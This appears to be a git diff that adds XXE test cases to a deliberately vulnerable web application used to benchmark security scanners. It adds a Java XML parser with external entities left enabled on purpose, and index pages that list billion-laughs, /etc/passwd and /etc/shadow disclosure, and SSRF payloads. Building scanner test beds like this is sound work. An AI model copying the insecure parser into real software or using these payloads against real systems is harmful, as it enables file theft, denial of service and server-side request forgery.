diff --git a/.gitignore b/.gitignore index 8bd3a05..ea6ab82 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,4 @@ /.settings/ /.classpath /.project +/bin/ diff --git a/CHANGELOG.md b/CHANGELOG.md index b17b7e6..6a80c4b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,11 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## 2025-09-02 +### Added +- Imported XXE from [Reinforced Wavsep](https://github.com/luigiurbano/Reinforced-Wavsep) at commit [962d566](https://github.com/luigiurbano/Reinforced-Wavsep/commit/962d566ebe51a3f64f772b6c1856d99f1150ba4a). Updated them to use the same endpoint to handle the POST requests instead of using a common one. ### Changed - Unvalidated-Redirect/Redirect-FalsePositives-GET/Case09... now uses the default host from the first configured engine (identified via JMX) instead of the requested host name (which could have been from a manipulated Host header). ## 2025-08-30 +### Added - Imported OS Command Injection tests from [Reinforced Wavsep](https://github.com/luigiurbano/Reinforced-Wavsep) at commit [962d566](https://github.com/luigiurbano/Reinforced-Wavsep/commit/962d566ebe51a3f64f772b6c1856d99f1150ba4a). ## 2025-08-28 diff --git a/README.md b/README.md index f90dadd..f5843fd 100644 --- a/README.md +++ b/README.md @@ -8,6 +8,13 @@ WAVSEP is a vulnerable web application designed to help assessing the features, This evaluation platform contains a collection of unique vulnerable web pages that can be used to test the various properties of web application scanners. +### Reinforced Wavsep + +This fork also includes the following tests added to [Reinforced Wavsep](https://github.com/luigiurbano/Reinforced-Wavsep) + +* OS Command Injection +* XML External Entity + ## Building WAVSEP can be run in one standalone Docker container. diff --git a/WebContent/active/XXE/XXE-POST-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp new file mode 100644 index 0000000..542f1a4 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 1 - XXE Injection into intercepted request. Goal: perform simple XXE injection. + + + + +

+
+ Employees:

+ +
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp new file mode 100644 index 0000000..3d867fe --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 2 - XXE Injection into intercepted request. Goal: perform XXE injection to execute a DoS. + + + + +

+
+ Employees:

+ +
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp new file mode 100644 index 0000000..876b47f --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 3 - XXE Injection into intercepted request. Goal: perform XXE injection to retrieve files. + + + + +

+
+ Employees:

+ +
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp new file mode 100644 index 0000000..13593e3 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 4 - XXE Injection into intercepted request. Goal: perform SSRF attacks. + + + + +

+
+ Employees:

+ +
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-500Error/index.jsp b/WebContent/active/XXE/XXE-POST-500Error/index.jsp new file mode 100644 index 0000000..ff42f39 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-500Error/index.jsp @@ -0,0 +1,114 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Evaluation of XXE Injection Detection Accuracy - HTTP POST Intercepted Request Vector Method Responses + + + +
Injection Test Cases - HTTP POST Intercepted Request Method Responses:


+Case01-XXE-Injection-Entity-Example-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform simple xxe injection.
+ Barriers:
+ None
+ Example: <!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY example "Doe"> ]> + <userInfo> + <firstName>John</firstName> + <lastName>&example;</lastName> + </userInfo> + Exploit: <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE replace [<!ENTITY example "That'sNotMyLastName!XXE-Work!"> ]> + <employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>&example;</lastName> +</employee> +</employees>
+ +Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform XXE injection to execute a DoS.
+ Barriers:
+ None
+ Example:<!--?xml version="1.0" ?--> +<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> +<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; +<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> +<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> +<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> +<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> +<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> +<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> +<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> +<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> +<tag>&lol9;</tag> + Exploit: <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE lolz [ + <!ENTITY lol "lol"> + <!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> + <!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;"> + <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;"> + <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;"> + <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;"> + <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;"> + <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;"> + <!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;"> + <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;"> +]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&loli;</location> + </employee> +</employees>
+ + Case03-XXE-Injection-File-Disclosure-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform XXE injection to retrieve files.
+ Barriers:
+ None
+ Example:
+ <!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> +<userInfo> + <firstName>John</firstName> + <lastName>&ent;</lastName> +</userInfo> + Exploit:
+ <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE employees [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&file;</location> + </employee> +</employees>
+ + Case04-XXE-Injection-SSRF-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform SSRF attacks.
+ Barriers:
+ None
+ Example: + <?xml version="1.0"?> +<!DOCTYPE foo [ +<!ELEMENT foo (#ANY)> +<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo> + Exploit: + <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE employees [ <!ENTITY file SYSTEM "http://dummy.restapiexample.com/api/v1/employees"> ]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&file;</location> + </employee> +</employees>
+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Input-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Input-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp new file mode 100644 index 0000000..dd5d67a --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Input-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + out.print(e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 1 - XXE Injection into intercepted request. Goal: perform simple XXE injection. + + + + +

+
+

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Input-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Input-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp new file mode 100644 index 0000000..860c344 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Input-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + out.print(e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 2 - XXE Injection into intercepted request. Goal: perform XXE injection to execute a DoS. + + + + +

+
+

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Input-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Input-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp new file mode 100644 index 0000000..24e6377 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Input-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + out.print(e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 3 - XXE Injection into intercepted request. Goal: perform XXE injection to retrieve files. + + + + +

+
+

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Input-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Input-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp new file mode 100644 index 0000000..fe41bcb --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Input-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + out.print(e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 4 - XXE Injection into intercepted request. Goal: perform SSRF attacks. + + + + +

+
+

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Input-500Error/index.jsp b/WebContent/active/XXE/XXE-POST-Input-500Error/index.jsp new file mode 100644 index 0000000..445a3b7 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Input-500Error/index.jsp @@ -0,0 +1,114 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Evaluation of XXE Injection Detection Accuracy - HTTP POST Input Vector Method Responses + + + +
Injection Test Cases - HTTP POST Input Vector Method Responses:


+Case01-XXE-Injection-Entity-Example-WithErrors.jsp
+ XXE Injection into search field.
+ Goal: perform simple xxe injection.
+ Barriers:
+ None
+ Example: <!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY example "Doe"> ]> + <userInfo> + <firstName>John</firstName> + <lastName>&example;</lastName> + </userInfo> + Exploit: <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE replace [<!ENTITY example "That'sNotMyLastName!XXE-Work!"> ]> + <employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>&example;</lastName> +</employee> +</employees>
+ +Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp
+ XXE Injection into search field.
+ Goal: perform XXE injection to execute a DoS.
+ Barriers:
+ None
+ Example:<!--?xml version="1.0" ?--> +<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> +<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; +<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> +<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> +<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> +<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> +<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> +<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> +<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> +<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> +<tag>&lol9;</tag> + Exploit: <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE lolz [ + <!ENTITY lol "lol"> + <!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> + <!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;"> + <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;"> + <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;"> + <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;"> + <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;"> + <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;"> + <!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;"> + <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;"> +]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&loli;</location> + </employee> +</employees>
+ + Case03-XXE-Injection-File-Disclosure-WithErrors.jsp
+ XXE Injection into search field.
+ Goal: perform XXE injection to retrieve files.
+ Barriers:
+ None
+ Example:
+ <!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> +<userInfo> + <firstName>John</firstName> + <lastName>&ent;</lastName> +</userInfo> + Exploit:
+ <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE employees [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&file;</location> + </employee> +</employees>
+ + Case04-XXE-Injection-SSRF-WithErrors.jsp
+ XXE Injection into search field.
+ Goal: perform SSRF attacks.
+ Barriers:
+ None
+ Example: + <?xml version="1.0"?> +<!DOCTYPE foo [ +<!ELEMENT foo (#ANY)> +<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo> + Exploit: + <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE employees [ <!ENTITY file SYSTEM "http://dummy.restapiexample.com/api/v1/employees"> ]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&file;</location> + </employee> +</employees>
+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp new file mode 100644 index 0000000..fdce704 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 1 - XXE Injection into intercepted request. Goal: perform simple XXE injection. + + + + +

+
+ Employees:

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp new file mode 100644 index 0000000..d9ea910 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 2 - XXE Injection into intercepted request. Goal: perform XXE injection to execute a DoS. + + + + +

+
+ Employees:

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp new file mode 100644 index 0000000..c8a7cb0 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 3 - XXE Injection into intercepted request. Goal: perform XXE injection to retrieve files. + + + + +

+
+ Employees:

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp new file mode 100644 index 0000000..f465b09 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Intercept-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp @@ -0,0 +1,51 @@ +<%@page import="com.sectooladdict.utils.XxeUtils"%> +<% +if (request.getMethod().equals("POST")) { + try { + out.print(XxeUtils.process(request.getInputStream())); + } catch (Exception e) { + response.sendError(500, e.getMessage()); + } + return; +} +%> +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Case 4 - XXE Injection into intercepted request. Goal: perform SSRF attacks. + + + + +

+
+ Employees:

+

+
+
+ +

+ + \ No newline at end of file diff --git a/WebContent/active/XXE/XXE-POST-Intercept-500Error/index.jsp b/WebContent/active/XXE/XXE-POST-Intercept-500Error/index.jsp new file mode 100644 index 0000000..ff42f39 --- /dev/null +++ b/WebContent/active/XXE/XXE-POST-Intercept-500Error/index.jsp @@ -0,0 +1,114 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Evaluation of XXE Injection Detection Accuracy - HTTP POST Intercepted Request Vector Method Responses + + + +
Injection Test Cases - HTTP POST Intercepted Request Method Responses:


+Case01-XXE-Injection-Entity-Example-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform simple xxe injection.
+ Barriers:
+ None
+ Example: <!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY example "Doe"> ]> + <userInfo> + <firstName>John</firstName> + <lastName>&example;</lastName> + </userInfo> + Exploit: <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE replace [<!ENTITY example "That'sNotMyLastName!XXE-Work!"> ]> + <employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>&example;</lastName> +</employee> +</employees>
+ +Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform XXE injection to execute a DoS.
+ Barriers:
+ None
+ Example:<!--?xml version="1.0" ?--> +<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> +<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; +<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> +<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> +<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> +<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> +<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> +<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> +<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> +<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> +<tag>&lol9;</tag> + Exploit: <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE lolz [ + <!ENTITY lol "lol"> + <!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> + <!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;"> + <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;"> + <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;"> + <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;"> + <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;"> + <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;"> + <!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;"> + <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;"> +]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&loli;</location> + </employee> +</employees>
+ + Case03-XXE-Injection-File-Disclosure-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform XXE injection to retrieve files.
+ Barriers:
+ None
+ Example:
+ <!--?xml version="1.0" ?--> +<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> +<userInfo> + <firstName>John</firstName> + <lastName>&ent;</lastName> +</userInfo> + Exploit:
+ <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE employees [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&file;</location> + </employee> +</employees>
+ + Case04-XXE-Injection-SSRF-WithErrors.jsp
+ XXE Injection into intercepted request.
+ Goal: perform SSRF attacks.
+ Barriers:
+ None
+ Example: + <?xml version="1.0"?> +<!DOCTYPE foo [ +<!ELEMENT foo (#ANY)> +<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo> + Exploit: + <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE employees [ <!ENTITY file SYSTEM "http://dummy.restapiexample.com/api/v1/employees"> ]> +<employees> + <employee id="1"> + <firstName>John</firstName> + <lastName>Doe</lastName> + <location>&file;</location> + </employee> +</employees>
+ + \ No newline at end of file diff --git a/WebContent/active/index-main.jsp b/WebContent/active/index-main.jsp index 745d69d..a7a8fb0 100644 --- a/WebContent/active/index-main.jsp +++ b/WebContent/active/index-main.jsp @@ -17,6 +17,7 @@ Pages in this section should only contain vulnerabilities detectable by passive
  • Unvalidated Redirect
  • False Positive Test Cases
  • OS Command Injection Test Cases +
  • XML External Entity diff --git a/WebContent/active/index-xxe.jsp b/WebContent/active/index-xxe.jsp new file mode 100644 index 0000000..98d5762 --- /dev/null +++ b/WebContent/active/index-xxe.jsp @@ -0,0 +1,24 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +Evaluation of Web Application Scanners Detection Accuracy + + + +

    XML External Entity Injection - Test Cases:

    + +
    POST Input Vector
    +Evaluation of XML External Entity Injection Detection Accuracy - POST (Input Vector) - Erroneous HTTP 500 Responses

    + + +
    POST Field Input Vector
    +Evaluation of XML External Entity Injection Detection Accuracy - POST (Field Input Vector) - Erroneous HTTP 500 Responses

    + +
    POST Intercepted Request Vector
    +Evaluation of XML External Entity Injection Detection Accuracy - POST (Intercepted Request Vector) - Erroneous HTTP 500 Responses

    + + + \ No newline at end of file diff --git a/src/com/sectooladdict/utils/XxeUtils.java b/src/com/sectooladdict/utils/XxeUtils.java new file mode 100644 index 0000000..14e7489 --- /dev/null +++ b/src/com/sectooladdict/utils/XxeUtils.java @@ -0,0 +1,34 @@ +package com.sectooladdict.utils; + +import java.io.InputStream; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +public class XxeUtils { + + /** + * Method used by the XXE test cases. + */ + public static String process(InputStream stream) throws Exception { + String empDetails = ""; + + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = factory.newDocumentBuilder(); + + Document document = builder.parse(stream); + NodeList list = document.getElementsByTagName("employee"); + + for (int index = 0; index < list.getLength(); index++) { + Node node = list.item(index); + Element element = (Element) node; + empDetails = empDetails + element.getTextContent() + "
    "; + } + return empDetails; + } +} \ No newline at end of file